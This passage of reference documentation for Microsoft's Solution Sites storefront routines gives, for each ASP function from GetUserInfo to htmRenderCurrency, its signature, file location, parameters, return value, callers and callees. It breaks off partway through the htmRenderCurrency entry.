Defined in File

include\addr_lib.asp

Routines Called

GetAddresses

Called By

bIsAddressNameUnique

FetchData (addrbook.asp)


GetUserInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub, called from the include\setupenv.asp file, assigns the user ID, user type and user access type into the following global variables:

m_userID (user ID)

m_UserType (AUTH_USER, GUEST_USER, or ANON_USER)

m_UserAccessType (IIS_AUTH, TICKET_AUTH, GUEST_VISIT, or ANON_VISIT)

Definition

Sub GetUserInfo()

Defined in File

include\std_access_lib.asp

Routines Called

GetQualifiedName

GetUserProfileByLoginName

Called By

SetupPage

Remarks

For more information about users, see About the User Tracking Feature for Solution Sites.


GetUserProfileByLoginName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the profile for the given login name.

Definition

Function GetUserProfileByLoginName(
  byVal sLogonName
)

Defined in File

include\std_profile_lib.asp

Routines Called

EnsureUpToDateUserProfile

GetCurrentUserProfile

GetProfileFromDB

Called By

GetUserInfo


GetUserPropertyFromID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the value of a property from the profile of a user.

Definition

Function GetUserPropertyFromID(
  byVal sPropertyName,
  byVal sID
)

Parameters

Defined in File

services\include\get_profiles.asp

Routines Called

GetAttributeValueFromProfile

rsGetUserDetails

Called By

bHandlePaintingACLsForUsersInAD

GetActiveUsersOnly

SaveUserPartnerDeskRoleProperty

sGetAdminsOnly

sGetUserFullName

sGetUserLoginName

sGetUsersOnly


GetXMLForVendorItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns an XML document containing the line items corresponding to the specified order form and vendor. The oVendor parameter is a list of line items to be associated with a vendor, and is generated in the Splitter component of the checkout pipeline.

Definition

Function GetXMLForVendorItems(
  byVal mscsOrderForm,
  byVal oVendor
)

Defined in File

include\payment.asp

Routines Called

None.

Called By

InvokeBizTalk


GetYearsListItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object of items. The first item contains the MessageManager object "L_SelectOne_Text" message; the next item contains the current year; the following four items contain the next four year values (for example, if the current year is 2002, then the four items would contain 2003 through 2006).

Definition

Function GetYearsListItems()

Defined in File

include\std_dates_lib.asp

Routines Called

GetSimpleList

Called By

GetCreditCardFieldDefinitions

GetYearsListValues


GetYearsListValues - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object of items. The first item contains the integer "-1"; the next item contains the current year; the next four items contain the next four year values (for example, if the current year is 2002, then the four items would contain 2003 through 2006).

Definition

Function GetYearsListValues()

Defined in File

include\std_dates_lib.asp

Routines Called

GetYearsListItems

Called By

GetCreditCardFieldDefinitions


H

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letter H.

Routine | File
HandleSingleQuote | services\include\profiles_common.asp
htmAddActionHandler | services\include\edit_handlers.asp
htmCachedProductList | category.asp
htmCachedShippingMethods | pickship.asp
htmCancelUpdatePasswordAction | services\include\password_handlers.asp
htmCategoryHTML | category.asp
htmChangePasswordActionHandler | services\include\edit_handlers.asp
htmCloseActionHandler | services\include\edit_handlers.asp
htmCopyActionHandler | services\include\edit_handlers.asp
htmDeleteActionHandler | services\include\edit_handlers.asp
htmEditAction | services\include\edit_handlers.asp
htmEditAllProfiles | services\include\edit_handlers.asp
htmEditPageActionHandlers | services\partner\edit_user.asp
htmInsertProfile | services\include\edit_handlers.asp
htmListPageActionHandlers | services\partner\users.asp
htmOrderDetailsActionHandler | services\include\order_handlers.asp
htmOrderListActionHandler | services\partner\orders.asp
htmRenderAddressBook | addrbook.asp
htmRenderAddressBookPage | addrbook.asp
htmRenderAddress | summary.asp
htmRenderAddressForm | newaddr.asp
htmRenderAddressRows | addrbook.asp
htmRenderBasket | basket.asp
htmRenderBasketWarnings | basket.asp
htmRenderBlankEditPage | services\include\render_edit_blank.asp
htmRenderBlankSpaces | services\include\render_common.asp
htmRenderBoolean | services\include\render_common.asp
htmRenderBuiltInProperties | product.asp
htmRenderCatalogList | include\catalog.asp
htmRenderCatalogSection | template\menu.asp
htmRenderCategoriesList | include\catalog.asp
htmRenderCategoryPage | include\catalog.asp
htmRenderChangePasswordPage | services\include\render_password.asp
htmRenderCheckoutButton | basket.asp
htmRenderConfirmationPage | confirm.asp
htmRenderCountries | services\include\render_common.asp
htmRenderCreditCardPage | crdtcard.asp
htmRenderCurrency | include\std_util_lib.asp
htmRenderCustomerServiceSection | template\menu.asp
htmRenderDefaultPage | default.asp
htmRenderDiscountMessageGroup | basket.asp
htmRenderDiscountMessages | basket.asp
htmRenderDiscountsApplied | basket.asp
htmRenderDiscountsDescriptions | summary.asp
htmRenderEditPage | services\include\render_edit_common.asp
htmRenderEmptyRecordSet | services\include\render_common.asp
htmRenderFillOutForm | include\form_lib.asp
htmRenderFullTextSearchResults | search.asp
htmRenderGrandTotals | summary.asp
htmRenderLoginPage | login\login.asp
htmRenderLoginSection | template\menu.asp
htmRenderLogoffPage | login\logoff.asp
htmRenderMenu | template\menu.asp
htmRenderMessageBoxForCancel | services\include\render_messagebox.asp
htmRenderMessageBoxForDelete | services\include\render_messagebox.asp
htmRenderMessageBoxForDeleteAll | services\include\render_messagebox.asp
htmRenderMessageBoxForSave | services\include\render_messagebox.asp
htmRenderMessageBoxForSelect | services\include\render_messagebox.asp
htmRenderMessageBoxPage | services\include\render_messagebox.asp
htmRenderNewUserPage | login\newuser.asp
htmRenderOrderDateTypes | services\include\render_common.asp
htmRenderOrderDetails | services\include\render_orders.asp
htmRenderOrderDetailsForIDs | services\include\order_handlers.asp
htmRenderOrderForm | summary.asp
htmRenderOrderList | services\include\render_orders.asp
htmRenderOrderStatusOptions | services\include\render_common.asp
htmRenderPartnerDeskRoles | services\include\render_common.asp
htmRenderPartnerServiceSection | template\menu.asp
htmRenderPaymentOptionsForUser | include\payment.asp
htmRenderPaymentOptionsPage | po.asp
htmRenderPickshipForm | pickship.asp
htmRenderPredictions | basket.asp
htmRenderProductsTable | include\catalog.asp
htmRenderProfilesList | services\include\render_list.asp
htmRenderSearchDeptPageContent | srchdept.asp
htmRenderSearchSection | template\menu.asp
htmRenderSelectEndTag | services\include\render_common.asp
htmRenderSelectTag | services\include\render_common.asp
htmRenderShippingMethods | pickship.asp
htmRenderShippingOptionsEx | pickship.asp
htmRenderSiteTerm | services\include\render_common.asp
htmRenderStepSearchPageContent | stepsrch.asp
htmRenderSummaryPage | summary.asp
htmRenderUniqueIDForProfile | services\include\render_list.asp
htmRenderUserDefinedProductProperties | product.asp
htmRenderUserStatusOptions | services\include\render_common.asp
htmRenderVariantsList | product.asp
htmRenderVerifyWithForm | summary.asp
htmSaveActionHandler | services\include\edit_handlers.asp
htmSaveAllActionHandler | services\include\edit_handlers.asp
htmSaveChangesConfirmationHandler | services\include\messagebox_handlers.asp
htmSaveProfiles | services\include\edit_handlers.asp
htmSelectActionHandlerForEdit | services\include\edit_handlers.asp
htmSelectedActionHandlerForEdit | services\include\edit_handlers.asp


HandleSingleQuote - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function replaces a single quote with a double quote for processing profiles.

Definition

Function HandleSingleQuote(
  byVal sSQLValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

None.

Called By

sAddSQLString


htmAddActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a blank edit page for any profile, and serves as a wrapper function to the htmRenderBlankEditPage function.

Definition

Function htmAddActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderBlankEditPage

Called By

htmEditPageActionHandlers


htmCachedProductList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function attempts to find a specific HTML fragment in the cache ProductListCache. The fragment is specified by the passed catalog and category names, and a page number. The cache key is constructed by concatenating these three values together. If found, the HTML fragment is returned; otherwise, Null is returned.

Definition

Function htmCachedProductList(
  sCatalogName,
  sCategoryName,
  iPageNumber,
  byRef sCacheKey
)

Parameters

sCatalogName
A string containing the name of a catalog, used as the first component of the cache key constructed by this function.
sCategoryName
A string containing the name of a category, used as the second component of the cache key constructed by this function.
iPageNumber
An integer containing a page number, used as the third component of the cache key constructed by this function.
sCacheKey
A string used to return the constructed cache key.

Return Value

If found in the cache, a string containing the HTML representation of the products in the requested catalog, category, and page number.

Defined in File

category.asp.

Routines Called

LookupCachedFragment

Called By

Main (category.asp)


htmCachedShippingMethods - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function searches the cache StaticSectionsCache for the shipping methods HTML fragment. If the fragment is found, this function returns that fragment; otherwise, Null is returned.

Definition

Function htmCachedShippingMethods()

Return Value

If the fragment is found, this function returns that fragment; otherwise, Null is returned.

Defined in File

pickship.asp

Routines Called

LookupCachedFragment

Called By

Main (pickship.asp)


htmCancelUpdatePasswordAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function cancels the update of the user_security_password property of the user.

Definition

Function htmCancelUpdatePasswordAction(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\password_handlers.asp

Routines Called

GetRequestString

Called By

PasswordActionHandlers


htmCategoryHTML - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs an HTML representation of a particular set of products as specified by several parameters. The constructed HTML fragment is also cached for future use using the specified cache key.

Definition

Function htmCategoryHTML(
  oCatalog,
  sCatalogName,
  sCategoryName,
  oCategory,
  rsProducts,
  iPageNumber,
  nOutPagesTotal,
  sCacheKey
)

Parameters

oCatalog
A reference to a ProductCatalog object, passed through to the function htmRenderCategoryPage.
sCatalogName
A string containing the name of the catalog, used as the page title when the category string is Null, and passed through to the function htmRenderCategoryPage.
sCategoryName
A string containing the name of the category, used as the page title when not Null, and passed through to the function htmRenderCategoryPage.
oCategory
A reference to a Category object, passed through to the function htmRenderCategoryPage.
rsProducts
A reference to a Recordset object containing products to be represented in HTML, passed through to the function htmRenderCategoryPage.
iPageNumber
An integer that specifies a particular page of products to be represented in HTML, passed through to the function htmRenderCategoryPage.
nOutPagesTotal
An integer that specifies the total number of pages of products represented in the rsProducts parameter Recordset object, passed through to the function htmRenderCategoryPage.
sCacheKey
A string containing a key under which the constructed HTML will be cached in the cache ProductListCache.

Return Value

A string containing the HTML representation of the products in the requested catalog, category, and page number.

Defined in File

category.asp.

Routines Called

CacheFragment

htmRenderCategoryPage

RenderText

Called By

Main (category.asp)

Remarks

This function uses the function htmRenderCategoryPage to perform the bulk of the work of creating the HTML representation of the requested product list. Many of the parameters are passed straight through to this function.

The constructed HTML string is cached for future use in the cache ProductListCache under the key specified by the sCacheKey parameter.


htmChangePasswordActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function is called by EDIT-type pages for changing the user_security_password property. It is called before the execution is passed to the change_password.asp page.

Definition

Function htmChangePasswordActionHandler(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sPreviousAction,
  byRef listProfileSchema,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues
)

Defined in File

services\include\edit_handlers.asp

Routines Called

GenerateURL

htmSaveChangesConfirmationHandler

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)


htmCloseActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Close" action handler.

Definition

Function htmCloseActionHandler(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  ByVal sActionPage,
  byVal sPreviousAction,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema,
  byVal sSourcePage,
  byVal bDirty
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderBlankEditPage

htmRenderEditPage

htmRenderMessageBoxForCancel

Called By

htmEditPageActionHandlers


htmCopyActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Copy" action handler.

Definition

Function htmCopyActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal iProfileCount,
  byVal iStatusID,
  byVal sStatusField,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal sProfileListPage,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

ReDirectToPage

Called By

htmEditPageActionHandlers


htmDeleteActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Delete" action handler.

Definition

Function htmDeleteActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sProfileListPage,
  byVal iProfileCount
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderMessageBoxForDelete

htmRenderMessageBoxForDeleteAll

ReDirectToPage

Called By

htmEditPageActionHandlers


htmEditAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides the "Edit" action handler. It supports single-edit, multi-edit, and SelectAll+Edit scenarios. Business logic to prepare for this display is in the PrepareEditAction sub.

Definition

Function htmEditAction(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal iProfileCount,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

ReDirectToPage

sGetThisPageProperty

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

Main (services\partner\account.asp)


htmEditAllProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function serves as a wrapper function for the htmRenderEditPage function, and renders the edit page contents.

Definition

Function htmEditAllProfiles(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal iStatusID,
  byVal sStatusField,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

None.


htmEditPageActionHandlers - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function calls appropriate handlers for all the EDIT-type pages. It can be used for all the profiles.

Definition

Function htmEditPageActionHandlers(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\partner\edit_user.asp

Routines Called

DeleteAllActionHandler

DeSelectAllActionHandler

GenerateURL

htmAddActionHandler

htmChangePasswordActionHandler

htmCloseActionHandler

htmCopyActionHandler

htmDeleteActionHandler

htmEditAction

htmSaveActionHandler

PrepareAddAction

PrepareCloseAction

PrepareCopyAction

PrepareDeleteAction

PrepareDeleteAllAction

PrepareDeselectAllAction

PrepareEditAction

PrepareSaveAction

PrepareSaveChangesConfirmation

PrepareSelectAllAction

SelectAllActionHandler

Called By

Main (services\partner\edit_user.asp)


htmInsertProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the edit page by calling the htmRenderEditPage function if the profile has been successfully inserted during the profile save operation that calls this function; otherwise, it renders the edit page by calling the htmRenderBlankEditPage function.

Definition

Function htmInsertProfile(
  byVal sAction,
  byVal sSubAction,
  byVal bInserted,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

htmSaveActionHandler


htmListPageActionHandlers - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "List" page action handler.

Definition

Function htmListPageActionHandlers(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\partner\users.asp

Routines Called

GenerateURL

htmRenderProfilesList

InitializePagingVariables

SelectedActionHandlerForList

Called By

Main (services\partner\users.asp)


htmOrderDetailsActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Order details" action handler.

Definition

Function htmOrderDetailsActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal iProfileCount
)

Defined in File

services\include\order_handlers.asp

Routines Called

htmRenderOrderDetailsForIDs

RedirectOrderDetailsForIDs

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


htmOrderListActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function provides rendering for the "Order List" action handler.

Definition

Function htmOrderListActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\partner\orders.asp

Routines Called

htmRenderOrderList

InitializePagingVariables

Called By

Main (services\partner\orders.asp)


htmRenderAddress - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders an address.

Definition

Function htmRenderAddress(
  addr_dict
)

Defined in File

summary.asp

Routines Called

None.

Called By

htmRenderSummaryPage

Remarks

The source code also illustrates how to use an alternative address format, based on the site configuration default locale.


htmRenderAddressBook - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the address book.

Definition

Function htmRenderAddressBook(
  byVal iAddrType,
  byRef rsAddresses,
  byVal sCheckedAddrID
)

Defined in File

addrbook.asp

Routines Called

GenerateURL

htmRenderAddressRows

RenderCheckBox

RenderForm

RenderSubmitButton

RenderText

Called By

htmRenderAddressBookPage


htmRenderAddressBookPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the address book page.

Definition

Function htmRenderAddressBookPage(
  byVal iAddrType,
  rsAddresses,
  byVal sCheckedAddrID
)

Defined in File

addrbook.asp

Routines Called

GenerateURL

RenderLink

htmRenderAddressBook

RenderText

Called By

Main (addrbook.asp)


htmRenderAddressForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the address form page.

Definition

Function htmRenderAddressForm(
  byRef dictFldVals,
  byRef dictFldErrs,
  byVal iAddrType,
  byVal sAction,
  byVal sAddrID
)

Defined in File

newaddr.asp

Routines Called

GenerateURL

htmRenderFillOutForm

RenderText

Called By

Main (newaddr.asp)


htmRenderAddressRows - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the address rows on the address book page.

Definition

Function htmRenderAddressRows(
  byVal iAddrType,
  byVal rsAddresses,
  byVal sCheckedAddrID
)

Defined in File

addrbook.asp

Routines Called

GenerateURL

RenderLink

RenderRadioButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

Called By

htmRenderAddressBook


htmRenderBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function is called by the subroutine RenderBasketPage to construct the table (embedded within a form) that displays the current contents of the basket.

Definition

Function htmRenderBasket(
  mscsOrderGrp,
  oOrderFormDisplayOrder
)

Parameters

mscsOrderGrp
A reference to an OrderGroup object containing the basket contents to be displayed.
oOrderFormDisplayOrder
A reference to a SimpleList object that contains an alphabetically sorted list of keys corresponding to the OrderForm objects within the OrderGroup object. This allows the OrderForm objects to be processed in alphabetical order regardless of their relative positions with the OrderGroup object.

Return Value

A string containing the HTML representation of the contents of the basket, formatted as a table within a form.

Defined in File

basket.asp.

Routines Called

CreatePOIndexes

GenerateURL

htmRenderCurrency

RenderForm

RenderLink

RenderSubmitButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

RenderTextBox

Called By

RenderBasketPage


htmRenderBasketWarnings - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the basket warnings.

Definition

Function htmRenderBasketWarnings(
  mscsOrderGrp,
  oOrderFormDisplayOrder,
  sErrCollectionName
)

Defined in File

basket.asp

Routines Called

RenderText

Called By

RenderBasketPage


htmRenderBlankEditPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a blank edit page for any profile.

Definition

Function htmRenderBlankEditPage(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_blank.asp

Routines Called

formRenderBlankEditPageBody

GenerateURL

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

sGetPageHeading

Called By

htmAddActionHandler

htmCloseActionHandler

htmInsertProfile


htmRenderBlankSpaces - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders HTML blank spaces (&nbsp).

Definition

Function htmRenderBlankSpaces(
  byVal nSpaces
)

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

cellRenderReadOnlyProperty

rowRenderAdvancedSearchOptionsForOrders

rowRenderEditSheetBlankLine

rowRenderLineItemHeader

rowRenderListHeading

rowRenderListHeadingForOrders

rowRenderMessageBoxPageContents

rowRenderPropertyGroup

rowRenderPropertyTip

rowRenderSearchOptionForDate

rowRenderStatusInfo

sRenderHTMLPreFixForProperty

tableChangePasswordTasks

tableRenderEditPageTasks

tableRenderFooterInfo

tableRenderListPageTasks

tblRenderOrderDetailsContents


htmRenderBoolean - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a check box corresponding to a Boolean property.

Definition

Function htmRenderBoolean(
  byVal sPropertyName,
  byVal varPropertyValue
)

Defined in File

services\include\render_common.asp

Routines Called

RenderCheckBox

Called By

colRenderProperty


htmRenderBuiltInProperties - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs an HTML representation of the built-in product price property, formatted with a string retrieved from the global MessageManager object.

Definition

Function htmRenderBuiltInProperties(
  byVal rsProperties,
  byVal sPropertyName,
  byVal style
)

Parameters

rsProperties
A Recordset object containing the values of the properties of a product.
sPropertyName
A string containing the name of a built-in currency property, typically the product price. In the single instance where this function is called (in the file product.asp), the constant PRODUCT_PRICE_PROPERTY_NAME is passed as the value of this parameter.
style
A string containing a list of attributes to be associated with the text rendered within a FONT element. In the single instance where this function is called (in the file product.asp), the value of MSCSSiteStyle.Body is passed as the value of this parameter.

Return Value

A string containing the HTML representation of a built-in currency property value, presented in the format "S: X", where "S" is the language-specific string associated with "L_Product_Price_DisplayName_HTMLText" in the current language, and "X" is the HTML produced by the htmRenderCurrency function.

Defined in File

product.asp.

Routines Called

htmRenderCurrency

RenderText

Called By

Main (product.asp)

Remarks

The fact that this function renders the specified property value as a currency value and formatted with a display string designed for product prices means that it actually has a much narrower purpose than implied by its name and the presence of the sPropertyName parameter.


htmRenderCatalogList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a string that contains a series of links to different catalogs, separated by carriage returns.

Definition

Function htmRenderCatalogList(
  byVal rsCatalogs,
  byVal style
)

Parameters

rsCatalogs
A Recordset object that contains a number of catalog records. There must be a Fields entry corresponding to the constant "CATALOG_NAME_PROPERTY_NAME".
style
A set of attributes corresponding to the FONT element, used when creating the HTML representation of the catalog name.

Return Value

A string containing the HTML representation of a series of links to different catalogs, where the link text is the name of the catalog, and where each link is separated by a carriage return.

Defined in File

include\catalog.asp

Routines Called

RenderCatalogLink

Called By

htmRenderCatalogSection

htmRenderDefaultPage


htmRenderCatalogSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates the HTML representation of the catalog section of the menu, including an appropriate header, and an indication of no catalogs being available, a list of categories in a single catalog, or a list of multiple catalogs.

Definition

Function htmRenderCatalogSection(
  byVal style,
  byVal rsCatalogs,
  byVal iCatalogCount,
  byVal oCatalog,
  byVal sCatalogName,
  byVal rsCategories
)

Parameters

style
A set of attributes corresponding to the FONT element, used when creating the HTML representation of the catalog name.
rsCatalogs
A reference to a copy of a Recordset object that contains a number of catalog records. There must be a Fields entry corresponding to the constant "CATALOG_NAME_PROPERTY_NAME".
iCatalogCount
An integer that indicates the number of catalogs in the rsCatalogs parameter.
oCatalog
A reference to a copy of a ProductCatalog object.
sCatalogName
A string containing the name of a category.
rsCategories
A reference to a copy of a Recordset object that contains a number of category records/

Return Value

A string containing the HTML representation of the catalog section of the menu area. This string contains one of the following:

  • When no catalogs are found, a catalog header and a string indicating that no catalogs were found.
  • When more than one catalog is found, a catalog header and a list of links to the multiple catalogs.
  • When one catalog is found, a list of links to the categories in the single catalog.

Defined in File

template\menu.asp

Routines Called

htmRenderCatalogList

htmRenderCategoriesList

RenderText

Called By

htmRenderMenu

Remarks

This function depends on a preceding call to the PrepareCatalogSection function to establish its parameters.


htmRenderCategoriesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates the HTML representation of a list of links to the categories within the passed Recordset object.

Definition

Function htmRenderCategoriesList(
  byVal oCatalog,
  byVal rsCategories,
  byVal style
)

Parameters

oCatalog
A reference to a copy of a ProductCatalog object. Not used in this function.
rsCategories
A reference to a copy of a Recordset object that contains a number of category records. There must be Fields entries corresponding to the constants "CATALOG_NAME_PROPERTY_NAME" and "CATEGORY_NAME_PROPERTY_NAME".
style
A set of attributes corresponding to the FONT element, used when creating the HTML representation of the category name.

Return Value

A string containing the HTML representation of a list of links to the categories in the passed Recordset object, separated by carriage returns.

Defined in File

include\catalog.asp

Routines Called

RenderCategoryLink

Called By

htmRenderCatalogSection

htmRenderCategoryPage


htmRenderCategoryPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a category page, which lists subcategories and products within a category.

Definition

Function htmRenderCategoryPage(
  byVal oCatalog,
  byVal sCatalogName,
  byVal sCategoryName,
  byVal oCategory,
  byVal rsProducts,
  byVal nPageNumber,
  byVal nOutPagesTotal
)

Parameters

oCatalog
A reference to a copy of a ProductCatalog object.
sCatalogName
A string containing the name of a catalog.
sCategoryName
A string containing the name of a category.
oCategory
A reference to a copy of a Category object.
rsProducts
A reference to a copy of a Recordset object that contains a number of product records corresponding to the current catalog and category. This parameter is passed through to the function htmRenderProductsTable.
nPageNumber
A number indicating the page to be displayed.
nOutPagesTotal
A number indicating the total number of pages available for display.

Return Value

A string containing the HTML representation of a category page, which consists of the following sections:

  • If there are more than one pages that can be displayed, a line of numbered links to different pages within the category.
  • If displaying the first page of category information, a list of links to sub-categories.
  • A list of associated products, as created by the function htmRenderProductsTable.

If there are no sub-categories or products, a string indicating that is displayed in place of the second two sections.

Defined in File

include\catalog.asp

Routines Called

FormatOutput

htmRenderCategoriesList

htmRenderProductsTable

mscsGetSubCategoriesList

RenderCategoryURL

RenderLink

RenderText

Called By

htmCategoryHTML

htmRenderDefaultPage


htmRenderChangePasswordPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the change password page.

Definition

Function htmRenderChangePasswordPage(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_password.asp

Routines Called

formRenderChangePasswordPageContents

GenerateURL

iGetCountOfProfiles

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

rsGetProfileDetails

sGetPageHeading

Called By

ChangeActionHandler

UpdatePasswordActionHandler


htmRenderCheckoutButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the checkout button.

Definition

Function htmRenderCheckoutButton()

Defined in File

basket.asp

Routines Called

GenerateURL

RenderForm

RenderSubmitButton

Called By

RenderBasketPage


htmRenderConfirmationPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function, called by Main, renders the confirmation page.

Definition

Function htmRenderConfirmationPage(
  sOrderID,
  mscsOrderGrp,
  sOrderNumber
)

Defined in File

confirm.asp

Routines Called

FormatOutput

GenerateURL

RenderLink

RenderText

Called By

Main (confirm.asp)


htmRenderCountries - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders all the country/region names in an HTML combo box.

Definition

Function htmRenderCountries(
  byVal oProperty,
  byVal sPropertyValue,
  byVal arrCountryNames
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

colRenderCountryNames


htmRenderCreditCardPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the credit card page.

Definition

Function htmRenderCreditCardPage(
  byVal iOrderGroupID,
  byVal bSuccess,
  byVal listMethods,
  byVal listFrmErrs,
  byVal dictFldVals,
  byVal dictFldErrs,
  byVal sVerifyWithTotal,
  byVal urlAction,
  byVal iErrorLevel
)

Defined in File

crdtcard.asp

Routines Called

GenerateURL

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

RenderText

Called By

Main (crdtcard.asp)


htmRenderCurrency - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a monetary value, using the base currency setting. It will also render the monetary value and the alternate currency for the site (for example, the Euro) depending on the settings of the site.

Definition

Function htmRenderCurrency(
  byVal cyCurrency
)

Parameters

cyCurrency
The currency value to be represented in HTML.

Return Value

